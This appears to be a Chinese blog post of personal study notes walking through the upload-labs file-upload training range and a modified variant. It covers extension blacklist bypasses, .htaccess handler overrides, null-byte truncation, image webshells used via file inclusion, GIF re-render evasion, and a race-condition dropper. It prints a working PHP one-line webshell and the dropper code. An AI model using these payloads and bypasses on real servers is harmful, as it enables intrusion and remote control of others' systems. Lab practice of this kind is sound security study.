upload靶场练习笔记

291 阅读8分钟

getshell与webshell

  • getshell是指攻击者通过漏洞或其他手段成功获取对目标服务器的控制权限,并在目标系统中植入一个 Shell(命令行界面)工具,以便远程执行命令。这种情况通常发生在系统存在安全漏洞、弱口令或其他安全风险的情况下

  • webshell则是利用文件上传漏洞的的方式获取getshell

  • 要利用通过文件上传漏洞获取的getshell需要满足三点:

  1. 要确认上传的文件能保持存活
  2. 要知道传到了哪里,得找到接收路径
  3. 要兼容网页的构成语言,保证上传的上传的文件能被目标主机解析运行
  • webshell有以下几种格式:
  1. php
  2. asp
  3. jsp
  4. perl
  5. shell script
  6. C#
  7. python
  8. javascript
  • 什么是文件上传?文件上传只是一种传输功能,如果将文件从服务器传输至本地叫做下载,那将文件从本地传输至服务器就叫上传。服务器没有做防护措施或防护做得不全面就会出现文件上传漏洞

材料准备

upload靶场下载地址:github.com/c0ny1/uploa…
burpsuite官网:portswigger.net/burp
蚁剑:github.com/AntSwordPro…
蚁剑加载器:github.com/AntSwordPro…

phpinfo()函数与一句话木马

phpinfo()函数

phpinfo() 是一个用于显示当前 PHP 配置和环境信息的 PHP 函数。当调用 phpinfo() 时,它将生成一个包含详细 PHP 配置信息的页面,包括但不限于以下内容:

  1. PHP 版本信息: 显示当前 PHP 解释器的版本。
  2. 编译器信息: 显示 PHP 编译器的配置选项。
  3. 模块信息: 显示已加载的扩展模块和其配置。
  4. 环境信息: 包括服务器信息、系统信息、流程控制器(SAPI)信息等
  5. PHP 配置参数: 显示各种 PHP 配置参数的当前值

phpinfo() 的主要用途是在开发和调试阶段提供有关 PHP 环境的详细信息。通常,程序员或系统管理员在需要调整服务器配置或排查问题时会使用 phpinfo() 来查看 PHP 的运行时配置

使用 phpinfo() 很简单,只需在 PHP 脚本中调用它,然后将该脚本在浏览器中运行即可:

<?php
phpinfo();
?>

运行结果:

image.png

注:phpinfo() 的输出对于生产环境是不安全的,因为它会泄露有关服务器和 PHP 配置的敏感信息。因此,在生产环境中,请避免使用 phpinfo() 或将其仅用于调试目的并在使用后及时移除

一句话木马

<?php @eval($_POST[asd]); ?>

这段代码就是php的一句话木马也就是所谓的这一种webshell,利用@符号抑制错误报告从而降低攻击者暴露的风险。eval()函数用于执行$_POST[asd]。而$_POST[asd]可以理解为这个木马的payload。asd则是与工具连接的口令

注:若上传含有phpinfo()函数的文件至此靶场,并且文件中的phpinfo()函数能够执行,那就意味着上传的webshell同样能运行

upload靶场1-10关笔记

注:本靶场存在文件包含漏洞,利用此漏洞只需一张图片马即可全部通关。该漏洞本意只是用于检测上传的图片马能否正常运行。只利用此方法进行通关达不到学习的效果(pass-14到17关除外,这些关必须利用此漏洞)

image.png

pass-01

本关卡是前端验证,因此通过火狐浏览器的调试工具删除验证语句即可上传,禁用该页面JavaScript也有同样的效果:

image.png

或摁F1禁用页面JavaScript:

image.png

现在直接上传一个php文件:

image.png

上传成功:

image.png

右击图片新页面打开可以即可看到配置信息:

image.png

pass-02

本关卡用bp工具抓包修改后缀即可:

首先将info.php文件的后缀改成jpg的图片格式,上传后用bp拦截:

image.png

上传成功: image.png

新页面打开验证: image.png

pass-03

此关卡为黑名单验证(后端验证),用第二关的方法会上传失败: image.png

因此可以将抓到的包发送到爆破模块对后缀名进行爆破,看哪种后缀名能在绕过黑名单的情况下被解析: image.png

编写字典: image.png

start attack开始爆破:

image.png

对比length值可以发现,php3与无后缀名被成功发送: image.png

image.png

无后缀名的文件不可能被靶场解析,所以只可能是php3为后缀,重新上传抓包验证:

image.png

php3被成功解析:

image.png

pass-04

这一关黑名单加入了更多的后缀限制,但没有限制.htaccess文件上传,所以可以临时将info.jpg的内容改为:

<FilesMatch "info.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这段代码的意思是将info.jpg用php的方式解析,所以这关需要提交两个文件,第一个文件:

image.png

第二个文件:

image.png

第二个文件不用抓包修改,因为前一个发送的.htaccess文件会配置服务器将info.jpg按照php格式运行,发送后直接新页面打开验证结果: image.png 过关成功

pass-05

这一关经过爆破后发现未对php. .进行限制: image.png

改包后发送结果为: image.png

pass-06

爆破后发现未对大小写进行限制,因此可以发送一个后缀为.Php的文件: image.png

结果: image.png

pass-07

继续抓包发送到爆破模块: image.png

此为百度刨出来的php后缀名字典: image.png

经过爆破后发现多个后缀上传成功: image.png

但实际经过测试发现只有php .与php空格解析成功,其他不知道为什么均不解析: image.png

image.png

结果: image.png

pass-08

爆破结果: image.png

验证后发现.php.被解析: image.png

pass-09

经过爆破后发现多个后缀被发送成功,但均不解析: image.png

尝试在字典里加入php::$DATA

windows系统下,如果上传的文件名中test.php::$DATA会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析,因此可以利用这种方式尝试绕过

测试后发现被成功发送: image.png

新页面打开后发现403了: image.png

查找原因: image.png

最后在url栏中发现问题所在: image.png

将url里的::$DATA剔除,解析成功: image.png

pass-10

爆破并验证后发现php. .可以被解析: image.png

image.png

11-16关笔记

pass-11

直接发送爆破模块先用字典滚一遍,通过length值发现所有包都发送成功了,随机打开查看: image.png

image.png

但新页面打开后发现什么都没有: image.png

观察url发现是因为靶场将后缀php替换为空字符串导致上传的文件无法被读取: image.png

这种情况下可以使用双写后缀绕过: image.png

因读取文件名及后缀的顺序是从左往右,因此改为pphphp后服务器按从左往右的顺序将其中第一个敏感词php替换为空字符串即:p hp,而p hp不等于php所以可以通过验证。但解析时会将空格忽略。结果为: image.png

pass-12

本关与13关为白名单检测限制,即:只允许某些格式的文件上传。这两关需要php5.12.17版本。因00截断这种攻击方式在php5.3.4之后被修复,具体操作如下:

  1. 使用老版本phpstudy挂载本靶场,选择php-5.12.17+Apache 20240115_163810_104_copy.png

  2. 关闭配置中的magic_quotes_gpc参数: 20240115_163844_272_copy.png

12关为GET型00截断,用%00绕过检测 image.png

新页面打开后会出现404的错误: image.png

是因为%00虽然能绕过检测,但是同样会被解析,因此将上图指出的地方删除即可解析成功: image.png

pass-13

此关为POST型00截断,绕过方法为:

  1. 先抓一个包,并对包进行如下修改: image.png

  2. 找到+号地址,并将2b改成00: image.png

Forward跟进后即可上传成功: image.png

新页面打开后仍然会404,按12关的方法删除php后的字符串即可解析成功: image.png

pass14-16关

这三关都需要利用文件包含漏洞,且打法都相同,所以这里只记录第16关打法,步骤如下:

  1. 选一张符合个人XP的图片,并用notepad++打开: image.png

  2. 打开后会看到一堆乱码,在乱码最后面写入一句话木马,payload写phpinfo()这个函数也行: image.png

  3. 保存后直接上传(包都不用抓了): image.png

  4. 新页面打开这个图片并复制图片路径: image.png

  5. 在靶场主页面url栏追加输入include.php?file= image.png

  6. 在=号后面粘贴刚才复制的文件地址: image.png

  7. 回车打开拼接的url会发现页面中是一堆乱码,因为图片的二进制码无法被php解析: image.png

  8. 复制此页面url,并用蚁剑进行连接: image.png

  9. 连接测试成功后尝试添加该地址进行连接: image.png 成功getshell

将图片中的一句话木马换成phpinfo()函数,得到的结果如下: image.png 在乱码的最后会执行phpinfo()这个函数

pass-17

这一关使用之前制作的图片马显示: image.png

换gif做的图片马: image.png

  • 虽成功上传但图片没有动(其他关卡传动图是会动的),这是因为17关对图片进行了转码导致gif失去动画效果(二次渲染)

绕过这种保护方式的步骤如下:

  1. 下载010editor,地址:www.sweetscape.com/download/01…
    010editor激活方法参考:blog.aoe.top/notes/437#g…

  2. 将不动的动图右击另存为下载下来: image.png

  3. 用010editor打开这个gif的原图与被靶场转码的图进行对比: 20240117_160129_493_copy.png 选择tools里的compare files或者使用快捷键ctrl+m,打开后file A选原图,file B选刚下载的图: 20240117_160212_222_copy.png 选好后点compare进行对比,对比后发现文件内容长度被裁去很多: image.png 继续查看文件对比结果: image.png

  4. 对比完成后开始准备改图,首先将原图复制一份,再对比转码图进行修改: image.png

image.png

5.保存好后开始上传: image.png 可以看出插入木马的图片稍有瑕疵,但是无伤大雅,右击打开利用文件包含漏洞获取url: image.png 出现乱码表示图片被解析了,打开蚁剑尝试连接: image.png 成功getshell: image.png

17关也可以在被转码的图片上插入木马,因为图片已经被安靶场的方式转码了,所以对比出相同的字节块不会再被转码

pass-18

  • 18-20关需要对源码进行审计

18关源码: image.png

从这段代码中可以看出服务器会对上传的文件进行临时保存,保存后对文件进行检测,若检测结果安全则以新文件名保存该文件,然则删除。所以可以利用这个临时保存的时间,来访问这个文件,只要能访问到,里面的内容就会被解析

新建一个php文件,内容写入以下代码:

<?php fputs(fopen('cs.php','w'),'<?php @eval($_POST[asd]); ?>'); ?>
  • fopen() fputs() 是 PHP 中用于文件操作的两个函数;fopen() 用于以w的形式创建并打开一个名叫cs.php的文件,w的意思是write写入。fputs()函数用于将'<?php @eval($_POST[asd]); ?>'这个一句话木马以字符串或者说文本的形式写入cs.php。这种攻击方式就叫竞争条件,通过不停的上传,并不停地访问该文件达到将其解析的目的。只要能访问到就意味着会执行里面的两个函数,在服务器内创建一个木马文件

步骤如下:

  1. 这里写了一个名为cf.php的文件,并用bp抓包: image.png

  2. 将抓到的包发送爆破模块,利用爆破模块对服务器不停地发送数据包: image.png

  3. 将这个包Forward后构造一个访问cf.php文件的url,并用bp拦截: image.png

  4. 将这个请求包同样发送到爆破模块: image.png

  5. 同样选择无payload模式并且无限发送: image.png

  6. Forward掉这个请求包,页面会404,很正常因为文件目前还不存在: image.png

  7. 设置爆破模块内两个包的参数,post包设置频率为30,get包设置频率为20: image.png image.png

  8. 两个包开始竞争,先让post包攻击: image.png 只要get包这边status code值出现200就说明cs.php被创建 成功,现在打开蚁剑尝试连接cs.php: image.png

getshell: image.png

此靶场待续未完

upload魔改靶场(khbc)

先随便传点啥抓个包看看: image.png 可以看出该靶场并未在前端对文件进行验证,且有mime type验证

Forward后显示: image.png

尝试上传任意正常图片:

image.png

仍然显示上传失败:

image.png

google寻找mime type 列表,将其编写成字典后尝试对khbc的mime type进行爆破: image.png

导入字典: image.png

经过一轮爆破后发现未对pdf进行限制: image.png

尝试做出修改: image.png

发送成功:

image.png

右击打开: image.png